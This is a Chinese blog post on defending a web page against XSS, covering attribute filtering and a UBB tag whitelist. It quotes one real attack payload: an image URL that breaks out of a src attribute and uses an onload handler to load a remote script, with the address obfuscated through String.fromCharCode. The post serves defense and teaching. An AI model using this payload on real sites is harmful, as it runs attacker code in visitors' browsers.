xss-javascript被攻击系列--(二)

虽然服务器端已经将cookies漏洞堵住了,可是脚本还是可以执行,威胁依然没有消除。

怎么阻止脚本执行,暂时想到的有3点:如下

1:去掉所有dom节点的所有onEvent事件

2:可以添加外部链接有关的属性,为属性值添加白名单限制。

3:去掉javascript,$,,jquery等脚本关键字

这些都是由服务器端来做,有点暴力。可至少可以保证网页中的内容是安全的。先堵上漏洞再说。


前端能做点什么呢,查询了相应的资料,加入自己的ubb机制。

白名单标签做ubb转换,下边给出常用的一些实例。

a标签: [a]链接地址[/a]

img标签:[img]图片地址[/img]

embed标签:[embed attribute=属性名称]视频地址[/embed]

其他的标签可以根据自己的项目做具体的转化。

服务器接收到这些格式的字符时,在经过安全机制过滤,并做HTML编码后,再存入库中。在页面回显时,再会将白名单中的标签转换为html标签返回给前端。这时展示到页面中的内容基本安全了。


再给出一个恶意代码:

1:此代码可以在img标签中回显,中间的双引号会将src=“”属性值的 “ 截断,onload就可以正常的解析,恶意脚本就会被成功执行。这种截断的机制可以用在html标签尖括号上,导致页面布局错乱。

fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。看似正常的数值,可经过这个函数处理后,其实就可以是恶意脚本的地址。


http://***.**.myqcloud.com/17/12/06/11/ea9a5705487c6e81"οnlοad=jQuery.getScript(String.fromCharCode(47,47,108,51,49,46,99,99,47,49,46,106,115))<!--

部署上线后,终于消停了。

战斗还没有结束,有可图的利益,安全问题就一直会出现。在这条路上才是刚刚开始,有好的建议多多交流哦。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值